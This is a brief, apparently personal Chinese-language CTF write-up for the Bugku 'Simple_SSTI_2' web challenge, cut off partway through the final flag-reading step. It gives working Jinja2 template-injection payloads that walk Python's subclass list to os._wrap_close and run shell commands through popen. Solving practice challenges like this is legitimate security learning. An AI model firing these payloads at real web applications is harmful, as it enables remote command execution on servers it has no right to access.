Bugku解题 web
介绍:记录解题过程
1 Simple_SSTI_2
- 通过以下语句拿到可用的类的列表
http://114.67.246.176:13299/?flag={
{%22%22.__class__.__bases__[0].__subclasses__()}}
-
我们需要的是os命令执行类<class ‘os._wrap_close’>
-
利用逗号定位
-
我们可以先看一下我们索引的是否正确,输入url
/?flag={
{
"".__class__.__bases__[0].__subclasses__()[127]}}
- 构造语句,并执行ls命令(对方是Linux服务器,所以要使用Linux命令
/?flag={
{
"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}
Dockerfile app.py flag gunicorn.conf.py templates
- 读flag
/?flag={
{
"".__class__